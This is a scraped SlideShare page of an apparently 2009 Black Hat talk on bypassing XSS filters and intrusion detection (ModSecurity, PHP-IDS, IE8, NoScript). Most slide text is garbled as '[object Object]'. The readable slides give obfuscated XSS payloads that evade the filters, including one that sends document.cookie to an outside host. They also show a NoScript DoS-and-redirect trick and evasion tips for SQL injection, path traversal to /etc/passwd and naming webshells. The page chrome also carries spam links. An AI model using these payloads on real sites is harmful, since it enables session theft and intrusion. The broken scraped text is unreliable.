SlideShare a Scribd company logo
1 of 108
Our Favorite XSS Filters/IDS and how to Attack Them Most recent version of slides can be obtained from  blackhat’s website or  http://p42.us/favxss/
About Us
About Us ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
About Us ,[object Object],[object Object],[object Object],[object Object],[object Object]
The Basics milk before meat?
XSS Basics ,[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],XSS Basics – Helpful Resources
Filter Basics Dangerous? yes no UNTRUSTED APPLICATION
[object Object],Filter Basics Browser Server mod_security PHP-IDS Imperva
[object Object],[object Object],[object Object],[object Object],Our Approach
Evasion Techniques hope you liked the milk
[object Object],[object Object],HTML Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],HTML Tricks
[object Object],[object Object],[object Object],[object Object],HTML Tricks
[object Object],[object Object],HTML Tricks
[object Object],[object Object],XHTML Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],VBScript Tricks
[object Object],[object Object],VBScript Tricks
[object Object],[object Object],Future Tricks?
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Future Tricks?
[object Object],[object Object],[object Object],Other Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],Other Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],Other Tricks
Unicode and XSS Only Mozilla’s 5 thousand lines of code implementation appears to be safe (maybe).
Java’s Modified Unicode Unicode.... 1.0…..  2.0……  3.0...3.1…..  4.0……  5.0…. Modified Unicode
Unicode Quick Intro ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Overlong UTF ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
PHP ,[object Object],[object Object],[object Object],[object Object],[object Object]
Eating chars ,[object Object],[object Object],[object Object],[object Object],[object Object]
Introducing The Filters PHP-IDS Mod_Security IE8 NoScript
ModSecurity http://modsecurity.org/
[object Object],[object Object],ModSecurity Advantages
[object Object],[object Object],[object Object],ModSecurity Disadvantages
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],ModSecurity Filters
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],ModSecurity Filters
The filter will catch: <img src=&quot;x:gif&quot; onerror=&quot;alert(0)&quot;> but miss: <img  src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> and <img src=&quot;x:gif&quot; onerror=&quot;eval('al'%2b'lert(0)')&quot;> and <img  src=&quot;x:gif&quot; onerror=&quot;window['al0065rt'](0)&quot;></img> ModSecurity
The filter will catch: &quot;;document.write('<img src=http://p42.us/x.png?' %2b document.cookie %2b '>');&quot; but miss: &quot;;document.write('<img sr'%2b'c=http://p42.us/x.png?' %2b document['cookie'] %2b '>');&quot; ModSecurity
[object Object],[object Object],[object Object],ModSecurity
[object Object],[object Object],ModSecurity
PHP-IDS http://php-ids.org/
[object Object],[object Object],[object Object],[object Object],[object Object],PHP-IDS Advantages
[object Object],[object Object],[object Object],PHP-IDS Disadvantages
[object Object],[object Object],[object Object],[object Object],[object Object],PHP-IDS
(?:,*(?:alert|showmodaldialog|eval)*,)|(?::*eval*[^])|([^:,.?+-]*)?(?<![a-z_@])(*return*)?(?:(?:document*)?(?:.+)?(?:alert|eval|msgbox|showmodaldialog|prompt|write(?:ln)?|confirm|dialog|open))*(?(1)[^]|(?:*[^,.@+-]))|(?:java[]*[]*lang)|(?:*=*new++)|(?:&*+*[^,])|(?:[]*new++[]*)|(?:document) Filter Examples ,[object Object],[object Object],[object Object]
PHP-IDS Developing a Bypass eval(name) Injection Found!  Overall Impact: 17
PHP-IDS Developing a Bypass x=eval y=name x(y) Injection Found!  Overall Impact: 12
PHP-IDS Developing a Bypass x='ev'+'al' x=this[x] y='na'+'me' x(x(y)) Injection Found!  Overall Impact: 46
PHP-IDS Developing a Bypass $$='e' x='ev'+'al' x=this[x] y='nam'+$$ y=x(y) x(y) Injection Found!  Overall Impact: 37
PHP-IDS Developing a Bypass $$='e' x=$$+'val' z=(1)['__par'+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 62
PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' z=(1)[__+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 27
PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 18
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 14
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) Injection Found!  Overall Impact: 07
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)ghi ' Injection Found!  Overall Impact: 07
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y)  'abc(def)ghi(jkl)mno(pqr)abc(def)abc(def)...' Nothing suspicious was found!
PHP-IDS Developing a Bypass http://p42.us/phpids/95.html ,[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],[object Object],PHP-IDS
[object Object],[object Object],[object Object],[object Object],PHP-IDS
XSS Filter http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx Examining the IE8 XSS Filter by kuza55 (OWASP Australia)
[object Object],[object Object],[object Object],The 3 commandments of the IE filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Compatibility > Security > Performance
[object Object],[object Object],[object Object],Performance + Compatibility
[object Object],[object Object],[object Object],[object Object],What does this mean?
The rules ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],The rules
We will show the remaining  7 of our.. Top 10 reflected XSS attacks and how you can attack with them. Bypassing the Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unfiltered Vectors – Top 4,5,6
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unfiltered Vectors – Top 7,8,9
[object Object],[object Object],[object Object],[object Object],[object Object],Unfiltered Vectors – Top 10
Using CSS-only attacks ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unclosed Quote
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unclosed Quote
[object Object],[object Object],Other Exceptions
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Same Origin Exception + Clickjacking
[object Object],[object Object],[object Object],Disabling the filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Bypassing the JavaScript based Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript based Bypass
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Attacking with the XSS Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Attacking with the XSS Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Q&A with M$
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Q&A with M$ / continued
[object Object],[object Object],[object Object],[object Object],[object Object],XSS Filters in Other Browsers?
NoScript http://noscript.net/
NoScript Advantages ,[object Object],[object Object],[object Object],[object Object]
As any other filter, it's still possible to bypass NoScript's rules, the following attack bypassed NoScript's rules: <a z=“&”x=& onmousemove=t=Object(window.name); ({$:#0=t,z:eval(String(#0#).replace(/@/g,’’))}).z//>     This was fixed last week, have you updated noscript? : http://tinyurl.com/m4nfs9 Bypassing the Filter's Rules
find a bypass 10 minutes before the talk! if I can't.. then.. it doesnt matter haha if I can, notify giorgio haha <<david:  umm... good luck with that Eduardo>> This hasn't been fixed! Found 10m ago
The DoS and pwn on NoScript (for bypassing)   The following example: http://victim.com/xss.php?hello= a-very-long-and-complicated-js-string &html_xss=<script>alert (&quot;pwned&quot;);</script> Will DoS NoScript, and then firefox will kill it, and then your victim will be redirected to your &quot;pwned&quot; webpage. Hacking the Filter
NoScript wont protect websites from attacking themselves, so frames pointing to a redirect that sends to the payload wont be detected by NoScript: Example :  http://tinyurl.com/l5rnyc http://www.google.com/imgres?imgurl=http://tinyurl.com/ZWZ8Z4&imgrefurl= http://tinyurl.com/ZWZ8Z4   and  http://tinyurl.com/ZWZ8Z4  redirects to  https://www.google.com/adsense/g-app-single-1.do?websiteInfoInput.uri=ZWZ8Z4&contactInput.asciiNameInput.fullName= <script> Same Origin Exception
Tribute to the stupid IDS Thanks to pretty much every other WAF vendor out there...
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],README
Stop using  alert('xss') . You should now use  prompt('xss') . Rule Number 1
Dont do  <script> . Do <ScRIPT x src=//0x.lv? Rule Number 2
For blind SQL injections. Stop using  ' or 1=1-- . Use  ' or 2=2-- . Rule Number 3
For SQL injections. Stop using  UNION SELECT . Use  UNION ALL SELECT . Rule Number 4
Don’t do  /etc/passwd . Do  /foo/../etc/bar/../passwd . Rule Number 5
Don’t use  http://yourhost.com/r57.txt Use https://yourhost.com/lol.txt Rule Number 6
Don’t call your webshell  c99.php, shell.aspx or cmd.jsp Call it  rofl.php . Rule Number 7
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Conclusions
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Thanks
Q + A ,[object Object]

More Related Content

Viewers also liked

“ CONFIGURACIONES SISTÉMICAS APLICADAS A ORGANIZACIONES Y EMPRESAS”
“ CONFIGURACIONES SISTÉMICAS APLICADAS A ORGANIZACIONES Y  EMPRESAS”“ CONFIGURACIONES SISTÉMICAS APLICADAS A ORGANIZACIONES Y  EMPRESAS”
“ CONFIGURACIONES SISTÉMICAS APLICADAS A ORGANIZACIONES Y EMPRESAS”IncuBA CMD
 
Creating a Better Audience 3D Entertainment Summit Hollywood, CA 9/11
Creating a Better Audience 3D Entertainment Summit Hollywood, CA 9/11Creating a Better Audience 3D Entertainment Summit Hollywood, CA 9/11
Creating a Better Audience 3D Entertainment Summit Hollywood, CA 9/11Dominick Maino
 
Resultados, Clasificaciones Y ProgramacióN
Resultados, Clasificaciones Y ProgramacióNResultados, Clasificaciones Y ProgramacióN
Resultados, Clasificaciones Y ProgramacióNWeb Futbolaragones
 
Escuela integral manuel belgrano unidad-3
Escuela integral manuel belgrano unidad-3Escuela integral manuel belgrano unidad-3
Escuela integral manuel belgrano unidad-3Herny Artigas
 
Procesos Ink Jet
Procesos Ink JetProcesos Ink Jet
Procesos Ink Jetseblincas
 
Proyecto de actividades y juegos de thales.cica.es
Proyecto de actividades y juegos de  thales.cica.esProyecto de actividades y juegos de  thales.cica.es
Proyecto de actividades y juegos de thales.cica.esAna De Zoete
 
SJHC Pharmacy Project
SJHC Pharmacy ProjectSJHC Pharmacy Project
SJHC Pharmacy ProjectKawin Koh
 
Marcelina lopez planeacion ingles grado 9 periodo 1 en ingles febrero
Marcelina lopez   planeacion ingles grado 9 periodo 1 en ingles febreroMarcelina lopez   planeacion ingles grado 9 periodo 1 en ingles febrero
Marcelina lopez planeacion ingles grado 9 periodo 1 en ingles febreromarlosa75
 
Cómo hacer un Brief Digital
Cómo hacer un Brief DigitalCómo hacer un Brief Digital
Cómo hacer un Brief DigitalMoises Cielak
 

Viewers also liked (17)

nw-january-2012
nw-january-2012nw-january-2012
nw-january-2012
 
“ CONFIGURACIONES SISTÉMICAS APLICADAS A ORGANIZACIONES Y EMPRESAS”
“ CONFIGURACIONES SISTÉMICAS APLICADAS A ORGANIZACIONES Y  EMPRESAS”“ CONFIGURACIONES SISTÉMICAS APLICADAS A ORGANIZACIONES Y  EMPRESAS”
“ CONFIGURACIONES SISTÉMICAS APLICADAS A ORGANIZACIONES Y EMPRESAS”
 
Creating a Better Audience 3D Entertainment Summit Hollywood, CA 9/11
Creating a Better Audience 3D Entertainment Summit Hollywood, CA 9/11Creating a Better Audience 3D Entertainment Summit Hollywood, CA 9/11
Creating a Better Audience 3D Entertainment Summit Hollywood, CA 9/11
 
InVENTer-planungsmappe
InVENTer-planungsmappeInVENTer-planungsmappe
InVENTer-planungsmappe
 
Resultados, Clasificaciones Y ProgramacióN
Resultados, Clasificaciones Y ProgramacióNResultados, Clasificaciones Y ProgramacióN
Resultados, Clasificaciones Y ProgramacióN
 
Presentacion plutella
Presentacion plutellaPresentacion plutella
Presentacion plutella
 
Escuela integral manuel belgrano unidad-3
Escuela integral manuel belgrano unidad-3Escuela integral manuel belgrano unidad-3
Escuela integral manuel belgrano unidad-3
 
Procesos Ink Jet
Procesos Ink JetProcesos Ink Jet
Procesos Ink Jet
 
4
44
4
 
Scn cvd-network-meeting-jan-2015
Scn cvd-network-meeting-jan-2015Scn cvd-network-meeting-jan-2015
Scn cvd-network-meeting-jan-2015
 
Proyecto de actividades y juegos de thales.cica.es
Proyecto de actividades y juegos de  thales.cica.esProyecto de actividades y juegos de  thales.cica.es
Proyecto de actividades y juegos de thales.cica.es
 
CerQana: guía de iniciación
CerQana: guía de iniciaciónCerQana: guía de iniciación
CerQana: guía de iniciación
 
SJHC Pharmacy Project
SJHC Pharmacy ProjectSJHC Pharmacy Project
SJHC Pharmacy Project
 
Marcelina lopez planeacion ingles grado 9 periodo 1 en ingles febrero
Marcelina lopez   planeacion ingles grado 9 periodo 1 en ingles febreroMarcelina lopez   planeacion ingles grado 9 periodo 1 en ingles febrero
Marcelina lopez planeacion ingles grado 9 periodo 1 en ingles febrero
 
Tema5 multinivel-word
Tema5   multinivel-wordTema5   multinivel-word
Tema5 multinivel-word
 
Cómo hacer un Brief Digital
Cómo hacer un Brief DigitalCómo hacer un Brief Digital
Cómo hacer un Brief Digital
 
Axa volunteer guide
Axa volunteer guideAxa volunteer guide
Axa volunteer guide
 

Similar to &lt;img src="xss.com">

주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법guestad13b55
 
Teflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceTeflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceSaumil Shah
 
Lecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITPLecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITPyucefmerhi
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfGiorgiRcheulishvili
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkErlend Oftedal
 
Introduction To Lamp
Introduction To LampIntroduction To Lamp
Introduction To LampAmzad Hossain
 
Developing and testing ajax components
Developing and testing ajax componentsDeveloping and testing ajax components
Developing and testing ajax componentsIgnacio Coloma
 
Joomla security nuggets
Joomla security nuggetsJoomla security nuggets
Joomla security nuggetsguestbd1cdca
 
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010Sergey Ilinsky
 
Javazone 2010-lift-framework-public
Javazone 2010-lift-framework-publicJavazone 2010-lift-framework-public
Javazone 2010-lift-framework-publicTimothy Perrett
 
1. java script language fundamentals
1. java script language fundamentals1. java script language fundamentals
1. java script language fundamentalsRajiv Gupta
 

Similar to &lt;img src="xss.com"> (20)

주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법
 
Teflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceTeflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surface
 
Lecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITPLecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITP
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
 
Grails and Dojo
Grails and DojoGrails and Dojo
Grails and Dojo
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
 
JavaScript
JavaScriptJavaScript
JavaScript
 
Jquery 1
Jquery 1Jquery 1
Jquery 1
 
PHP Security
PHP SecurityPHP Security
PHP Security
 
Retrofitting
RetrofittingRetrofitting
Retrofitting
 
Introduction To Lamp
Introduction To LampIntroduction To Lamp
Introduction To Lamp
 
Developing and testing ajax components
Developing and testing ajax componentsDeveloping and testing ajax components
Developing and testing ajax components
 
Joomla security nuggets
Joomla security nuggetsJoomla security nuggets
Joomla security nuggets
 
Jsp
JspJsp
Jsp
 
Rails and security
Rails and securityRails and security
Rails and security
 
Spring Surf 101
Spring Surf 101Spring Surf 101
Spring Surf 101
 
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
 
Ajax ons2
Ajax ons2Ajax ons2
Ajax ons2
 
Javazone 2010-lift-framework-public
Javazone 2010-lift-framework-publicJavazone 2010-lift-framework-public
Javazone 2010-lift-framework-public
 
1. java script language fundamentals
1. java script language fundamentals1. java script language fundamentals
1. java script language fundamentals
 

Recently uploaded

How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?XfilesPro
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraDeakin University
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Allon Mureinik
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksSoftradix Technologies
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...HostedbyConfluent
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 

Recently uploaded (20)

How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning era
 
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptxVulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other Frameworks
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 

&lt;img src="xss.com">

  • 1. Our Favorite XSS Filters/IDS and how to Attack Them Most recent version of slides can be obtained from blackhat’s website or http://p42.us/favxss/
  • 3.
  • 4.
  • 5. The Basics milk before meat?
  • 6.
  • 7.
  • 8. Filter Basics Dangerous? yes no UNTRUSTED APPLICATION
  • 9.
  • 10.
  • 11. Evasion Techniques hope you liked the milk
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32. Unicode and XSS Only Mozilla’s 5 thousand lines of code implementation appears to be safe (maybe).
  • 33. Java’s Modified Unicode Unicode.... 1.0….. 2.0…… 3.0...3.1….. 4.0…… 5.0…. Modified Unicode
  • 34.
  • 35.
  • 36.
  • 37.
  • 38. Introducing The Filters PHP-IDS Mod_Security IE8 NoScript
  • 40.
  • 41.
  • 42.
  • 43.
  • 44. The filter will catch: <img src=&quot;x:gif&quot; onerror=&quot;alert(0)&quot;> but miss: <img src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> and <img src=&quot;x:gif&quot; onerror=&quot;eval('al'%2b'lert(0)')&quot;> and <img src=&quot;x:gif&quot; onerror=&quot;window['al0065rt'](0)&quot;></img> ModSecurity
